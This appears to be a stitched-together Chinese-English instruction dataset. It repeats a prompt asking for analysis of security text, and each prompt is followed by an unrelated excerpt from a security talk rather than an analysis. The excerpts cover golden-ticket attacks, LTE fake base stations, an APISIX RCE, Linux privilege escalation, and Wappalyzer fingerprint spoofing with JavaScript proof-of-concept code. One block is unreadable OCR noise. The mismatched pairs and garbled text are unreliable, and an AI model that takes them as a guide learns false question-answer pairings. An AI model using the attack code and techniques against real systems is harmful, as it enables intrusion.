Howoldisyourkrbtgt hash?
Knowwhereyourkrbtgt hashis?
Thepointis…
Ifyourenterprisehaseverbeen
compromised,itmaystillbecompromised–
evenifyouchangedeverypassword.
Wescansowearesecure
Goodluckwiththat
MemeCount:3
“SpoofedPAC”Attack
“GoldenTicket”Attack
https://twitter.com/gentilkiwi/status/415147415474167808
DemoTime
Mitigation
 Don’tgetownedagain
 UseRODCwhereappropriate
 Upgradefunctionallevel
 Resetthekrbtgt accountpasswordonthe
PDCemulatorTWICE
Detection
 Needleinahaystack
 HardertodetectthanPtH
 Lookforstrangeaccountactivity
 Lowprivilegedaccountperformingprivileged
actions
Thanks
 SkipDuckwall
 BenjaminDelpy
 JoeBialek
 WillPeteroy
 CarlosSpicyweiner
 MattGraeber
 Manyothers…
Questions?


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Index
Veritas Project
Computer Security Trends
Military Intelligence
American Minds
Submit HQ
Contact Us
Understanding the Security Trends Interface
So how does this thing work? Basically the premise of this study is to track increases in "chatter" (based on keywords) just like what
ECHELON, INTERPOL, or the other intelligence gathering organizations does out there. This is based on information gathered through
forums, websites, blogs, and data from various contributors. This how-to presents a quick overview of how this whole thing works.
Let's start off with a simple data mining exercise. For this one, let us search for increases in chatter on the keyword "DEFCON". This is
done by entering DEFCON in the "chatter" field and putting the mode as "manual". I'll explain later the difference between "manual"
and "computer-assisted" later as well as the "level" field. Press "Go" and you will get this:
Note that the increases in DEFCON chatter expectedly corresponds around the time for call for papers and the conference itself. Next
let's try overlaying it with something we know that is related to DEFCON, the keyword "PAPERS". Using the same instructions, we add
the word "PAPERS" in the chatter field separated by a space. Here's what we get:
The Veritas Project - Threat Intelligence
http://www.zerodays.org/veritas/howto-template.php
1 of 9
4/25/2009 8:06 PM
Note that increases in chatter on the keyword "PAPERS" happen before and after the CFP and before and after the conference itself.
Notice how closely the the increases in chatter follows. You'll notice a strange increase in "PAPER" chatter around the end of the year.
Could this be still related to DEFCON? Possibly, but let's look more closely.
The next demo will show you the "computer-assisted" mode. The computer-assisted mode let's the computer or more specifically, the
AI algorithms to determine which keywords are related to the topic we are researching. Remember, in our first search, we manually
determined that there...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

While other books have tackled the military-internet complex, tech-enabled intelligence
gathering, and cyberwarfare, together with WikiLeaks, Edward Snowden, and the 2016 US
election, there is a crucial element to the stories missing in all of
them. In his revelatory new book, CULT OF THE DEAD COW: How
the Original Hacking Supergroup Might Just Save the World,
acclaimed journalist Joseph Menn profiles the people dedicated
to information security who are out of the spotlight and in the
shadows, fighting to protect our personal data and freedom as
well as our national security.
CULT OF THE DEAD COW is the story of the oldest surviving,
most respected, and most famous hacking group of all time. Its
members released tools that forced giant companies to work
harder to protect consumers, and then they launched the broad
movement known as hacktivism.
Though it has never had more than twenty active members at a time, the Cult of the Dead Cow
(cDc) has multiple claims on history. As it evolved from a pre-web community, cDc members
developed hacking software that is still being used by criminals, spies, and professional network
administrators. They released the top tool for testing password security and created what was
for years the best technique for controlling computers from afar. They contributed to the
development of Tor, the most important privacy tool on the net, and helped build cyberweapons
that advanced US security without injuring anyone. The Cult of the Dead Cow defined hacktivism
and tirelessly promoted the idea to the public and fellow hackers, leading the movement and
urging programmers to wield their keyboards in service of human rights. As cDc matured, its
members became leaders in changing hacking from a hobby to a profession to a mode of
warfare.
Though most Cult of the Dead Cow members have remained anonymous through the years,
sixteen have agreed to be named for the first time in these pages, including all the previously
cloake...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HP Security Research
Zero Day Initiative
Java Every-Days
Exploiting Software Running
on 3 Billion Devices
Brian Gorenc
Manager, Vulnerability Research
Jasiel Spelman
Security Researcher
HP’s Zero Day Initiative
would like to thank the following researchers
for their submissions over the last three years:
Alin Rad Pop
Chris Ries
Aniway.Anyway@gmail.com
James Forshaw
Anonymous
Joshua J. Drake
Anonymous
Michael Schierl
Anonymous
Peter Vreugdenhil
axtaxt
Sami Koivu
Ben Murphy
Vitaliy Toropov
VUPEN Security
Also, we would like to thank the following people
 for providing additional information in support of this paper.
Mario Vuksan of Reversing Labs
Adam Gowdiak of Security Explorations
Java Every-Days:  Exploiting Software Running on 3 Billion Devices
Introduction
HP’s Zero Day Initiative (ZDI), the world’s largest vendor agnostic bug bounty program, experienced a surge in
submissions for Oracle’s Java platform in late 2012 and early 2013. It became a fairly regular occurrence for several
new 0-day Java vulnerabilities to show up in the queue over a seven-day span. One of the more interesting trends
revealed that ZDI researchers were not going after a single vulnerability class. At the time, the industry focused on
sandbox bypasses and cases were arriving into the ZDI that took advantage of that weakness, but submissions
identifying memory corruption vulnerabilities were still just as common. This prompted the following questions:
• What is truly the most common vulnerability type in Java?
• What part of the architecture has had the most vulnerabilities reported against it?
• What part of the architecture produces the most severe vulnerabilities?
• How the vulnerabilities being used in the threat landscape map to the ZDI submissions?
• How is Oracle responding to this increased pressure?
These questions continued to be discussed internally when exploit kit authors began including several new Java
vulnerabilities during the f...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Increasing the security of
your election by ﬁxing it
Daniel C. Silverstein
Damon McCormick
dans@csua.berkeley.edu
damonmcc@uclink.berkeley.edu
Part One:
Disaster Strikes
The 2000 US Presidential Election led
many to question the accuracy of paper
ballot systems
Several companies seized
on this opportunity to
promote electronic
voting systems:
• Election Systems & Software
• Diebold Election Systems
• Hart InterCivic
• Sequoia Voting Systems
• “...three independent but redundant
memory paths ensure that no votes will
ever be lost or altered.” [1]
• “...World-class encryption techniques
utilized to store election results.” [2]
• “Proprietary ﬁrmware on closed system
prevents hacker access.” [3]
Lofty Promises Made
• Trust Us!
• We know what we’re doing!
• Of course we don't have bugs!
• Don't have security holes either!
• And, even if we did, (which we don’t) nobody
could ever actually exploit them
The Message?
And so, Democracy was made safe from evil hackers
The End
If it looks like snake oil...
And it smells like snake oil...
And it tastes like snake oil...
It’s probably snake oil [4]
Or Not
Q: What’s the ﬁrst thing you do after rooting a box?
Q: What’s the second thing you do after rooting a box?
Pop Quiz 1
A: Hide your presence
A: Patch the hole you came in through
(so nobody else can use it)
Q: How do you tell that someone rooted your box?
Pop Quiz 2
A: Good question!
Forensics analysis is hard!
You can't trust information from a compromised machine.
Q: How do you tell that someone tampered with the
electronic voting machine you just used to vote?
A: You don’t
Pop Quiz 3
• The major commercial electronic voting
machines do not produce a voter veriﬁable
paper trail
• Though, thanks in part to the work of David Dill [5],
some of the vendors are testing prototypes that do
• Without a paper trail, thre is no way to
detect tampering
No Paper Trail
• The major commercial electronic voting
systems are proprietary platforms, protected
as trade secrets
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

实战攻防演习之
红队视角下的防御体系突破
1
实战攻防演习之
红队视角下的防御体系突破
3
前    言
网络实战攻防演习，是新形势下关键信息系统网络
安全保护工作的重要组成部分。演习通常是以实际运
行的信息系统为保护目标，通过有监督的攻防对抗，
最大限度地模拟真实的网络攻击，以此来检验信息系
统的实际安全性和运维保障的实际有效性。
2016年以来，在国家监管机构的有力推动下，网
络实战攻防演习日益得到重视，演习范围越来越广，
演习周期越来越长，演习规模越来越大。国家有关部
门组织的全国性网络实战攻防演习从2016年仅有几家
参演单位，到2019年已扩展到上百家参演单位；同时
各省、各市、各行业的监管机构，也都在积极地筹备
和组织各自管辖范围内的实战演习。一时间，网络实
战攻防演习遍地开花。
在演习规模不断扩大的同时，攻防双方的技术水平
和对抗能力也在博弈中不断升级。
2016年，网络实战攻防演习尚处于起步阶段，攻
防重点大多集中于互联网入口或内网边界。
2017年，实战攻防演习开始与重大活动的网络安
全保障工作紧密结合。就演习成果来看，从互联网侧
实战攻防演习之
红队视角下的防御体系突破
4
发起的直接攻击仍然普遍十分有效；而系统的外层防
护一旦被突破，横向移动、跨域攻击，往往都比较容
易实现。
2018年，网络实战攻防演习开始向行业和地方深
入。伴随着演习经验的不断丰富和大数据安全技术的
广泛应用，防守方对攻击行为的监测、发现和溯源能
力大幅增强，与之相应的，攻击队开始更多地转向精
准攻击和供应链攻击等新型作战策略。
2019年以来．网络实战攻防演习工作受到了监
管部门、政企机构和安全企业的空前重视。流量分
析、EDR、蜜罐、白名单等专业监测与防护技术被防
守队广泛采用。攻击难度的加大也迫使攻击队全面升
级，诸如0day漏洞攻击、1day漏洞攻击、身份仿冒、
钓鱼WiFi、鱼叉邮件、水坑攻击等高级攻击手法，在
实战攻防演练中均已不再罕见，攻防演习与网络实战
的水平更加接近。
如何更好地参与网络实战攻防演习？如何更好地借
助实战攻防演习提升自身的安全能力？这已经成为大
型政企机构运营者关心的重要问题。
作为国内领先的网络安全企业，奇安信集团已成为
全国各类网络实战攻防演习的主力军。奇安信集团安
实战攻防演习之
红队视角下的防御体系突破
5
服团队结合200余次实战攻防演习经验，总结编撰了这
套实战攻防演习系列丛书，分别从红队视角、蓝队视
角和紫队视角，来解读网络实战攻防演习的要领，以
及如何结合演习提升政企机构的安全能力。
需要说明的是，实战攻防演习中的红方与蓝方对抗
实际上是沿用了军事演习的概念和方法，一般来说，
红方与蓝方分别代表攻击方与防守方。不过，红方和
蓝方的名词定义尚无严格的规定，也有一些实际的攻
防演习，将蓝队设为攻击队、将红队设为防守队。在
本系列丛书中，我们依据绝大多数网络安全工作者的
习惯，统一将攻击队命名为红队，将防守队命名为蓝
队，而紫队则代表组织演练的机构。
《红队视角下的防御体系突破》是本系列丛书的第
一本。本书希望通过归纳总结红队常用的攻击策略和
攻击战术，帮助政企机构理解攻方思维，以便提升演
习水平，构筑更有效的安全防御体系。正所谓“知己知
彼，百战不殆”。
实战攻防演习之
红队视角下的防御体系突破
6
目    录
第一章    什么是红队 .....................................1
第二章    红队三板斧——攻击的三个阶段............3
一、第一阶段：情报收集.......................................3
二、第二阶段：建立据点.......................................4
三、第三阶段：横向移动.......................................5
第三章    红队也套路——常用的攻击战术............7
一、利用弱口令获得权限.......................................7
二、利用社工来进入内网.......................................8
三、利用旁路攻击实施渗透.................................10
四、秘密渗透与多点潜伏.....................................11
第四章    红队三十六计——经典攻击实例..........14
一、浑水摸鱼——社工钓鱼突破系统..................14
实战攻防演习之
红队视角下的防御体系突破
7
二、声东击西——混淆流量躲避侦察...........


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Buying time - What is your data
worth?
"The power which money gives is that of brute force;
it is the power of the bludgeon and the bayonet."
-- William Cobbett
"When in doubt, use brute force."
-- Ken Thompson
Who am I?
Adam Bregenzer
(adam@bregenzer.net, adam@sli.cc)
●
Member of Kaos Theory and DC404
●
Developer for Anonym.OS and SAMAEL
●
Developer for GroupHug.us
Distributed What?
Scalable password cracking
Can use word lists, character brute forcing,
rainbow tables, or anything you can think of!
Can produce – the answer, rainbow tables, or
again, anything you can think of!
Provides a flexible framework for cracking
passwords across a network of computers.
So, why do I care?
Brute forcing is an “assumed risk” and often
dismissed
The ability to rent computers, or access to grid
computing and storage means that processing
power is “infinite”
CPU = hard dollar cost, therefore password
cracking has a hard dollar cost
Your passwords have a fixed, decreasing cost that
is based on their complexity and application
How is this useful?
Password strength is one way of measuring the
safety of your data.
Practical security can be measured as the
relationship between the efforts required to
break your security and the value of your data
Therefore the value of your data is analogous to
your password's strength, or price.
This is BAD!
Distributed attacks against password hashes
rapidly reduce this cost.
As do Rainbow tables
Additionally, Moore's Law means this cost will
halve every two years.
Botnets today have enough processing power
crack your passwords!
A practical model - libattkthread
Helper code to facilitate multi-threaded cracking
Only need to write a simple function to process
cracking a single word.
Asynchronus, interruptable, extendable.
Resulting library can be extended to take
advantage of distributed processing framework
Quick Tech Review
Password Attacks
 Different types – brute force, dictionary, rainbow
     tables
 Preven...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

VulReport
sylphid@vulreport.net
Agenda
• 弱點揭露現狀
• 為什麼要建置VulReport
• 負責任的弱點揭露
"高超的電腦技術，卻沒有用在正途”
zone-h
   Underground
Economy
關於 VulReport
• 由 HITCON(Hacks in Taiwan Conf.) 主要成員發起
• 政府、企業與白帽駭客間的溝通管道及技術交流平台
• 藉由此平台讓政府單位或企業正視漏洞問題
• 增進資安相關訊息的交流
別讓駭客不開心
• 黑色產業 -> 資安產業/公益
• 技術的交流與提昇
• 正面形象的轉變
Google VRP - 1
Google VRP - 2
Google Project Zero - 1
Google Project Zero - 2
Alibaba
烏雲 - 1
烏雲 - 台灣
“台灣是全球殭屍網路第四大國”
全世界都留一手
漏洞 - 資安攻防的關鍵
關於 VulReport
• 由 HITCON(Hacks in Taiwan Conf.) 主要成員發起
• 政府、企業與白帽駭客間的溝通管道及技術交流平台
• 藉由此平台讓政府單位或企業正視漏洞問題
• 增進資安相關訊息的交流
為何建置VulReport
• 台灣版的弱點資料庫
• 在地化通報及溝通讓修補時間縮短
• 提供NGO/無自行修復能力的小型企業修補服務或諮詢
• 提供學校資安社團參與資安弱點修補實務訓練
• 整合原本零散的安全研究人員或社群
• 提升台灣整體資安防禦實力
漏洞通報範例
•
漏洞揭露流程
• 弱點審核(5人天)
• 廠商/企業組織弱點通知與確認(5人天)
• 對安全合作夥伴公開 (3天)
• 向核心成員及相關領域專家公開(10天)
• 對大眾公開(30/45/65/90天)
VulReport 使用規範與聲明
刑法 第三六章 妨害電腦使用罪
•
第 358 條
無故輸入他人帳號密碼、破解使用電腦之保護措施或利用電腦系統之漏洞
，而入侵他人之電腦或其相關設備者，處三年以下有期徒刑、拘役或科或
併科十萬元以下罰金。
•
第 359 條
無故取得、刪除或變更他人電腦或其相關設備之電磁紀錄，致生損害於公
眾或他人者，處五年以下有期徒刑、拘役或科或併科二十萬元以下罰金。
•
第 360 條
無故以電腦程式或其他電磁方式干擾他人電腦或其相關設備，致生損害於
公眾或他人者，處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。
•
第 361 條
對於公務機關之電腦或其相關設備犯前三條之罪者，加重其刑至二分之一
。
•
第 362 條
製作專供犯本章之罪之電腦程式，而供自己或他人犯本章之罪，致生損害
於公眾或他人者，處五年以下有期徒刑、拘役或科或併科二十萬元以下罰
金。
•
第 363 條
第三百五十八條至第三百六十條之罪，須告訴乃論。
VulReport 里程碑
• 2014 Q1
開始籌備
• 2014 Q2
網站雛形(HITCON FreeTalk 短暫公開)
• 2014/11/24
公開測試
• 2014/12/23
粉絲團 500 讚(藉由社群力量宣傳及擴散)
• 2015/01/9
公開記者會
• 2015/01/10
公測/第一屆VR漏洞積分賽結束
漏洞積分排名 (2015⅛)
通報漏洞統計 (2015/1/8)
• 政府: 11
• 企業: 36
• 學校: 13
• NGO: 5
• VulReport: 5
VulReport 企業帳號
• 等級: 免費/正式/黃金/鑽石
• 優先通知漏洞通報
• 通報期限: 30/45/65/90
• 資安諮詢服務
•  Logo連結
• 資安人才招聘
• 漏洞資訊提供研究
• 資安產品或服務推薦
• 對外服務檢測(研議中)
• 詳見: http://goo.gl/9cbFgN
wiki - responsible disclosure
Responsible Vulnerability Disclosure Process
Security Response Center
責任揭密政策 - Uber
responsible disclosure policy -1
responsible disclosure policy -2
responsible disclosure policy - 3
VulReport 未來規劃
•
Happy Hackers ☺
VulReport
WEB: https://vulreport.net/
FB: facebook.com/vulreport


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Building a Threat Intelligence
Program
Michael Smith, CISSP-ISSEP
APJ Security CTO
mismith@akamai.com
@rybolov
©2015 AKAMAI  |  FASTER FORWARDTM
Straw Poll: What Is Threat Intelligence?
Data feeds for purchase
Big Data, Big Data, Big Data
OSINT
Output from a SIEM
Tools dumps
Executive reports
Reporting from your vendors
Blogs and RSS
Things that if you ignore you’re now negligent
Too much noise, not enough signal
The greatest thing since Hainanese Chicken Rice
©2015 AKAMAI  |  FASTER FORWARDTM
Akamai CSIRT
Customer Security Incident Response Team (CSIRT):
Incident Response for Akamai customers
HTTP(s), DNS, and the infrastructure
Threat briefs
Out of scope: APT, endpoints, email, authentication
We collect and provide information:
OSINT
Coordination with peer CERT/SIRT/SOC
Threat intelligence
Discussions with policy-makers
Customer outreach (internal and direct)
©2015 AKAMAI  |  FASTER FORWARDTM
Qualities of Good Intelligence
Intelligence
Accurate
Timely
Relevant
©2015 AKAMAI  |  FASTER FORWARDTM
How the Intelligence World Does It
Intelligence Requirements
(questions to answer)
Indicators
(which data points can
prove/disprove the question)
Coverage
(how to find out the data points)
©2015 AKAMAI  |  FASTER FORWARDTM
Akamai CSIRT’s Intelligence Requirements
Which customers need our help as incident responders?
• Which active or future campaigns target our customers?
• Have any customers been impacted by an attack?
• Are their any attacks that could spread to other targets?
Are there any additional things that we can do to protect our
customers?
• Are there any new tools that evade our controls set?
• Are there any attack indicators that we should be looking for temporarily
during an event?
• Have we seen any new types of attacks?
• Are there activities associated with particular attacks that we should also look
for?
©2015 AKAMAI  |  FASTER FORWARDTM
My Sources
Incident response activities: alerts and inves...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

0x01
 /apisix/admin/migrate/export  /apisix/admin/migrate/import
RCE
Author: TheKingOfDuck@JJ Group
1
https://github.com/apache/apisix-docker
1
0x02

0x03


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

& Privileged&Confidential
01
•
• 82
5 Privileged&Confidential
5 Privileged&Confidential
0
& 2
 Privileged&Confidential
 Privileged&Confidential
&
01
T Privileged&Confidential
T Privileged&Confidential
•
O% & S1
S&
•
05
R1
•
0pC
1P
4Op
•
t4aC81
 Privileged&Confidential
 Privileged&Confidential
&
02
 Privileged&Confidential
 Privileged&Confidential
•
&
•
&
•
& Privileged&Confidential
& Privileged&Confidential
03
 Privileged&Confidential
 Privileged&Confidential
141
ap
a&
2t.
1.3
& Privileged&Confidential
& Privileged&Confidential
04
d Privileged&Confidential
d Privileged&Confidential
•
xj3&%8o
3&u8s
•
8te
p8lamirs
8&&33080y8
br
•
kg8gn8gsp
h
•
80800
& Privileged&Confidential
& Privileged&Confidential
05
 Privileged&Confidential
 Privileged&Confidential
•
&
1&
•
•
&
& Privileged&Confidential
& Privileged&Confidential
06
Fdz Privileged&Confidential
Fdz Privileged&Confidential
•
aad&85128
+6380
0451&8&
8
•
+6Ad8AdAu
e8sa
8t88
•
rp8ob-632rp
m8
48@75 Privileged&Confidential
48@75 Privileged&Confidential
2963
0
&
&
0
11
 Privileged&Confidential
 Privileged&Confidential
&
07
 Privileged&Confidential
 Privileged&Confidential
•
dik5
•
Bxe5
300ff&&f
f1445
•
bs
Boc
o-5
•
00uw
5z
rA5
 Privileged&Confidential
 Privileged&Confidential
&
08
 Privileged&Confidential
 Privileged&Confidential
&0
 Privileged&Confidential
 Privileged&Confidential
&..
355
3p..
4
 33
1xoa2
 sA
 3e
 3D3..
mi3a
 x..a
 Privileged&Confidential
 Privileged&Confidential
&&
 D22
+B
3 Privileged&Confidential
3 Privileged&Confidential
&
4 Privileged&Confidential
4 Privileged&Confidential
 &
 Privileged&Confidential
 Privileged&Confidential
  41&
4 Privileged&Confidential
4 Privileged&Confidential
&
& Privileged&Confidential
& Privileged&Confidential
& Privileged&Confidential


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

"Hacking Web Apps"
– Brent White / @brentwdesign
Abstract:
Understanding how to exploit vulnerabilities within a web application is beneficial to both
breakers and fixers. It is a core skill for penetration testers, and it provides significant insight into
secure coding practices for developers.
This talk covers all aspects of executing a web application penetration test. We will start with the
discovery phase utilizing OSINT sources; such as, search engines, sub-domain brute-forcing and
other methods to help you get a good idea of target’s "footprint", all the way to fuzzing
parameters to find potential SQL injection vulnerabilities. I will also discuss several of the tools
and techniques that I commonly use. After this talk, you should have a good understanding of
what is needed to break into web applications like a professional.
Detailed Outline:
Before you can start tearing into a web application for a customer, there are a few things that need
to happen. There are rules and goals that need to be established for the assessment. This generally
happens during the scoping and kick-off discussions. Since scoping and contracts make me
sleepy, I will omit the details. The kick-off call is where the rubber starts hitting the road, and
exists to bridge the gap between the legal contract and the final report using the Rules of
Engagement document, also known as the RoE. The RoE answers the questions of who, when
and what and identifies the boundaries between what is and is not allowed during the actual
assessment. After the contents of this document have been agreed upon, you are good to go on
executing the assessment.
=== Evidence Gathering ===
At the end of every assessment, a report is expected. The more evidence you collect and the better
it’s organized can really help shorten the time it takes to write the report as well as improve upon
the value of it.
Before I start anything, I set up documents to keep evidence, notes and progress.
Here...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking(Public(Warning(System(in(LTE(
Mobile(Network
Li, Weiguang
weelight.li@gmail.com
(
UnicornTeam@360 Technology
(
Agenda
01(About(Public(Warning(System(in(LTE(Network(
(
02(The(Vulnerability(in(LTE(Protocol(
(
03(Trigger(the((Vulnerability(
(
(a.(Build(a(Fake(LTE(Base(Station(
(
(b.(Forge(the(Fake(Warning(Messages(
(
04(Conclusion(
01
About Public Warning System in LTE Network
Alert(the(Public(to(Such(Disasters(
PWS(Warning(System(All(Over(the(World
ETWS
KPAS
EU-ALERT
CMAS
•  Hawaiian(Missile(Alert(in(January(2018(
Press(Release(
•  Hawaiian(Missile(Alert(in(January(2018(
Press(Release(
02
The Vulnerability in LTE Protocol
Vulnerabilities(in(LTE(Protocol
1.
The(warning(messages(over(the(air(are(not(encrypted(or(
intergity(protected.(
2.
UE(doesn’t(authenticate((the(base(station(during(reselection(
Attack(vector
03
Trigger the vulnerability(
How(to(Build(a(Fake(LTE(Network
USRP(B210
ThinkPad(
srsLTE(/srsENB
Hardware
Software
Act like a Normal  Base Station
How to get these parameters
Configuration/in/srsENB/
LTE/Discovery/App/
srsLTE/config/file/
PWS(Message's(Carrier—System(Information(Block
SIB/Type/1/
SIB(scheduling(information
SIB/Type/2/
Common(and(shared(channel(
information
SIB/Type/3/
Cell(re-selection(information(
SIB/Type/4/
Cell(re-selection(information(
intra-frequency(neighbor(
information
SIB/Type/5/
Cell(re-selection(information(
Intra-frequency(neighbor(
information
SIB/Type/6/
Cell(re-selection(information(
for(UTRA
SIB/Type/7/
Cell(re-selection(information(
for(GERAN
SIB/Type/8/
Cell-re-selection(information(
for(CDMA2000
SIB/Type/9/
Home(eNB(identifier
SIB/Type/10/
ETWS(primary(notification(
(Japan)
SIB/Type/11/
ETWS(Secondary(Notification(
(Japan)
SIB/Type/12/
EU-Alert((Europe)(
KPAS((South(Korea)(
CMAS(notification(USA)(
Forge(the(ETWS(Message
Four(main(components(getting(involved(in(sending(ETWS
•  SIB(10(:(Primary(Notification(
•  SIB(11(:(Secondary(Notification(
•  Paging(:(ETWS(indication(
• ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

你怎么知道Wappalyzer是不是在骗你？
Wappalyzer插件检测原理
插件是开源的 https://github.com/wappalyzer/wappalyzer
readme中提到会收集cookie，dom，js，css，header等数据，通过既定规则匹配，实现获取信息并匹
配版本
其中js和dom比较特别，这里以js为例分析
https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/content.js
#L36-L42
会插入一个 js/js.js 到前端去执行
https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/js.js
代码比较长，简化代码逻辑如下
可以看到，这个js会启动监听message，插件后台会将指纹规则postMessage的方式传到前端，又前端
进行指纹匹配，将结果用postMessage传回后台
function getJs(technologies) {
  return inject('js/js.js', 'js', {
    technologies: technologies
      .filter(({ js }) => Object.keys(js).length)
      .map(({ name, js }) => ({ name, chains: Object.keys(js) })),
  })
}
/* eslint-env browser */
;(function () {
  try {
    const onMessage = ({ data }) => {
      检查data是否是指纹规则
      removeEventListener('message', onMessage)
      postMessage({
        wappalyzer: {
          js: 执行指纹规则的结果
        },
      })
    }
    addEventListener('message', onMessage)
  } catch (e) {
    // Fail quietly
  }
})()
伪造指纹
那么我们也可以手动postMessage一些数据去伪造指纹匹配结果
由于wappalyzer收到规则后会删除监听，可以hook removeEventListener 函数，在调用时就可以手
动postMessage伪造指纹
// hook removeEventListener
let rel = removeEventListener;
removeEventListener = (name, func, opt) => {
  if (
    name === "message" &&
    func &&
    func.toString().includes("wappalyzer.technologies") !== -1 &&
    func.toString().includes("removeEventListener") !== -1 &&
    func.toString().includes("__UNDEFINED__") !== -1 &&
    func.toString().includes("postMessage") !== -1
  ) {
    poc();
    rel(name, func, opt);
  } else {
    rel(name, func, opt);
  }
};
const poc = () => {
  postMessage({
    wappalyzer: {
      js: [
        {
          name: "jQuery",
          chain: "$.fn.jquery",
          value: "99.99.99",
        },
      ],
    },
  });
};
同样的道理，把指纹库里的全部post过去就有全部指纹了
XSS
仔细观察执行js指纹规则的代码
technologies.reduce((technologies, { name, chains }) => {
            chains.forEach((chain, index) => {
              cons...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
AAD Joined Machines - The New
Lateral Movement
Mor Rubin
#BHUSA @BlackHatEvents
Who am I?
• Mor Rubin (@rubin_mor)
• Senior security researcher at Microsoft
• Interested in networking, cloud and On-Prem attacks, mitigations and detections
#BHUSA @BlackHatEvents
Agenda
• Introduction to key terms
• NegoEx protocol
• Attacks
• Demo
• Hunting
• Takeaways
#BHUSA @BlackHatEvents
Technical background
#BHUSA @BlackHatEvents
Azure AD Joined device
Ref: Dirk-Jan Mollema “I’m in your cloud… reading everyone’s email”
Troopers ’19 https://dirkjanm.io/assets/raw/TR19-Im%20in%20your%20cloud.pdf
#BHUSA @BlackHatEvents
AADJ Authenticated Connections
AADJ
AADJ
PRT
P2P Certificate
#BHUSA @BlackHatEvents
Primary Refresh Token - PRT
• A JSON Web Token (JWT) for the user and the device it was issued for
• Can be compared to Ticket Granting Ticket (TGT)
• Can be used to authenticate to any application
#BHUSA @BlackHatEvents
P2P Azure AD certificate
• Certificate that is used for peer-to-peer authentication between Azure AD joined devices
• Issued by Azure AD upon request and valid only for 1 hour
#BHUSA @BlackHatEvents
Kerberos PKINIT
Kerberos extension allows certificate authentication over Kerberos instead of hash (password)
Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
kile/b4af186e-b2ff-43f9-b18e-eedb366abf13
#BHUSA @BlackHatEvents
PKU2U
• Based on Kerberos version 5 messages and the Kerberos GSS-API mechanism.
• Implemented as a Security Support Provider (SSP) enables peer-to-peer authentication
• Used for authentication in NegoEx when no KDC exists
#BHUSA @BlackHatEvents
GSSAPI \ SSPI
• SSPI is an API that allows application to add authenticity and privacy layer
• It is applicable to any application that allows 'Windows Authentication'
Ref: https://docs.microsoft.com/en-us/windows-server/security/windows-
authentication/security-support-provider-interface-architecture
#BHUSA @BlackHatEvents
NegoEx protocol
#BHUSA @BlackHatEvents
Nego...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Paparazzi Platform
Flexible, Open-Source, UAS Software and
Hardware
esden, dotAero, misterj, cifo
Outline
● History, User Community,
Competitions & Missions
● Software
● Hardware
● Example Vehicles
● Demos
Who are we?
Who is Paparazzi?
Micro unmanned aerial vehicle framework
http://paparazzi.enac.fr
Why do I care?
We're not going to preach the advantages of
autonomous or RC vehicles - you know this
already.
Paparazzi:
- Innovative
- Competitive
- Hugely flexible
"Many start Paparazzi as UAV hobbyists and
leave as professionals!"
History
The journey started in 2003
Pascal Brisset & Antoine Drouin
History
Ecole Nationale de l’Aviation Civile
Toulouse, France
History
Over 60 developers contributing code
several hundred users from 18 countries and
counting
Involved Universities
Competitions
●
JMD03, Toulouse, France : 1st place with the Twinstar
●
EMAV04, Braunschweig, Germany : 1st place with the Microjet
●
JMD04, Toulouse, France : 1st place with the Microjet
●
MAV05, Garmisch, Germany : 4 Paparazzi teams at the ﬁrst 4 places
●
EMAV06, Braunschweig, Germany : all the teams were equipped with
Paparazzi
●
MAV06, Sandestin, Florida : 2nd and 3rd places
●
MAV07, Toulouse, France : 1st place (tie), 3rd, 4th and 5th places
●
OC09, Queensland, Australia : 1st place robot airborne delivery challenge
●
IMAV2011, Harde, Netherlands : 2nd place outdoor challenge
●
DARPA UAVForge 2011-12 : 3rd place
Missions
2011 Antarctica Finnish Meteorological Institute
Missions
2012 Southern Madagascar multi university
Software - Overview
● Airborne and Ground Segments
● Reconfigurable multi-agent system, small
programs perform simple tasks
Software - Overview
Software - Ground Segment
Software - Ground Segment
Reconfigurable UI (XML)
Software - Airborne Segment
● Modules allow easy addition or replacement
of functionality
● Supports a multitude of sensors and
actuators
● XML-based automatic code generation
allows quick code adaptation for different
vehicle configurations
Softw...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

目录
前言
2
1-linux提权描述
4
2-基本Linux权限提升前的信息收集
6
3-linux提权—自动信息收集
18
4-linux提权-内核漏洞提权
19
5-1-linux-历史漏洞提权
24
5-linux提权-利用以root权限运行的服务
25
6-Linux提权-NFS权限弱
27
7-linux提权-Suid和Guid配置错误
32
8-linux提权—滥用SUDO
41
9-linux提权-利用“.”路径配置错误
45
10-linux提权—利用定时任务（Cron jobs）
47
11-linux提权-通配符注入
54
渗透测试 红队攻防 免杀 权限维持 等等技术
及时分享最新漏洞复现以及EXP 国内外最新技术分享!!!
进来一起学习吧
本文由黑白天安全团队李木整理
水平有限，错误还望大佬多多包涵！！
仅供学习研究，请遵守法律不要进行非法攻击！
微信扫一扫关注公众号
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行
的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着
用户获得他们无权获得的特权。这些特权可用于删除文件，查看私人信息
或安装不需要的程序，例如病毒。通常，当系统存在允许绕过安全性的错
误或对使用方法的设计假设存在缺陷时，通常会发生这种情况。
特权提升是利用操作系统或软件应用程序中的错误，设计缺陷等等来获得
对通常受到应用程序或用户保护的资源的更高访问权限的行为。结果是，
具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执
行未经授权的操作。
特权升级有两种类型：水平和垂直。在水平升级中，您从一个用户转移到
